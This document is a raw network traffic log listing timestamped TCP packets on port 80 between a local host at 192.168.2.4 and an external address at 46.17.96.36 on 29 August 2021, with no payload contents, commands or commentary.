Aug 29, 2021 22:29:00.975572109 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.005749941 CEST	80	50026	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007071972 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007204056 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.007260084 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007277012 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007333994 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.007365942 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.007400036 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007467985 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.007584095 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007602930 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007642984 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007742882 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007931948 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007949114 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.007966042 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.008059025 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.039578915 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.039619923 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.039644957 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.039721012 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.040385008 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.040424109 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.052099943 CEST	80	50026	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.052171946 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.078202009 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.078305006 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.228873014 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.229129076 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.230494976 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.261785984 CEST	80	50025	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.261967897 CEST	50025	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.265983105 CEST	80	50026	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.266096115 CEST	50026	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.266403913 CEST	80	50027	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.266551018 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.327608109 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.363796949 CEST	80	50027	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.388839006 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.407247066 CEST	80	50027	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.407392025 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.423788071 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.423904896 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.473150015 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.473251104 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.473432064 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.473587036 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.508038044 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508076906 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508128881 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508152962 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508177042 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508203983 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.508256912 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.508271933 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.508404970 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508476973 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.508538961 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.508594990 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543139935 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543257952 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543267012 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543298006 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543323040 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543330908 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543354034 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543375969 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543430090 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543489933 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543555975 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543612003 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543628931 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543654919 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543685913 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543731928 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543761015 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543783903 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543829918 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543848991 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.543903112 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.543962955 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578254938 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578340054 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578366995 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578392029 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578417063 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578450918 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578450918 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578474998 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578551054 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578583002 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578603983 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578610897 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578619957 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578629971 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.578775883 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578804016 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.578917980 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579077005 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579195976 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579303980 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579427004 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579457045 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579480886 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.579591990 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.600893974 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.601876974 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.613478899 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.613502979 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.613516092 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.613670111 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.613821030 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.614310026 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.614325047 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.614350080 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.614362955 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.634295940 CEST	80	50029	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.634463072 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.636090040 CEST	80	50027	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.636168957 CEST	50027	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.651422024 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.651540995 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.656148911 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.688590050 CEST	80	50029	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.727782965 CEST	80	50029	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.727967024 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.915705919 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.916014910 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.917047024 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.930320978 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.951422930 CEST	80	50029	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.951555967 CEST	50029	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.951750994 CEST	80	50030	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.951878071 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.951941013 CEST	80	50028	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.952034950 CEST	50028	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.955693007 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.962654114 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:01.962785959 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.970772028 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.971040964 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.971220970 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.971292019 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:01.988904953 CEST	80	50030	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.002969980 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003284931 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003315926 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003413916 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.003509998 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003557920 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003597021 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.003640890 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.003765106 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003791094 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.003901958 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.003964901 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.031804085 CEST	80	50030	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.032763004 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036644936 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036679983 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036698103 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036721945 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036756039 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036778927 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036786079 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036804914 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036823034 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036833048 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036839962 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036859035 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.036874056 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036895037 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036906958 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036919117 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036931038 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.036994934 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.037086010 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.069053888 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069093943 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069118023 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069171906 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.069226027 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.069333076 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069416046 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.069509983 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069545031 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069574118 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.069578886 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.069761992 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.072021008 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073287964 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073318958 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073343039 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073566914 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073604107 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073640108 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.073668957 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.101854086 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.101902962 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.101969957 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.102761030 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.102938890 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.104536057 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.104679108 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.137404919 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.137528896 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.174588919 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.174845934 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.176023960 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.207532883 CEST	80	50031	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.207674026 CEST	50031	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.208369970 CEST	80	50030	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.208457947 CEST	50030	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.208664894 CEST	80	50032	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.208774090 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.216598034 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.249069929 CEST	80	50032	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.287879944 CEST	80	50032	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.287959099 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.478790998 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.480000019 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.481079102 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.511256933 CEST	80	50032	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.511393070 CEST	50032	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.512820959 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.513051033 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.513478994 CEST	80	50034	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.513569117 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.523885965 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.523971081 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.524322033 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.524432898 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.525418997 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.556804895 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.556849003 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557059050 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557085991 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557153940 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557162046 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557193041 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557228088 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557306051 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557416916 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557472944 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557499886 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.557534933 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557584047 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.557694912 CEST	80	50034	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590210915 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590281963 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590306044 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590339899 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590368032 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590368032 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590477943 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590532064 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590539932 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590620995 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590735912 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590769053 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590815067 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590838909 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.590848923 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.590897083 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.595360041 CEST	80	50034	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.595470905 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.624624014 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624707937 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.624834061 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624860048 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624895096 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624923944 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624948025 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624974012 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.624998093 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625020027 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625045061 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625067949 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625102997 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625130892 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625154972 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625180006 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625202894 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.625226021 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.643330097 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.643538952 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.643631935 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.658225060 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.658272982 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.676984072 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.677027941 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.677052021 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.677076101 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.677099943 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.677134991 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.709378004 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.709496021 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.758603096 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.758882046 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.759999990 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.791481972 CEST	80	50034	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.791596889 CEST	50034	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.792711020 CEST	80	50033	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.792785883 CEST	50033	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.793790102 CEST	80	50035	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.793919086 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.801573992 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:02.834968090 CEST	80	50035	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.874840975 CEST	80	50035	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:02.875004053 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.073358059 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.074465990 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.103465080 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.106739998 CEST	80	50035	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.106872082 CEST	50035	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.109112024 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.109246016 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.123279095 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.123385906 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.123567104 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.123677015 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.136158943 CEST	80	50037	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.136322021 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.142312050 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.158159971 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158190966 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158318043 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158375978 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158473969 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.158482075 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158562899 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158605099 CEST	50036	80	192.168.2.4	46.17.96.36
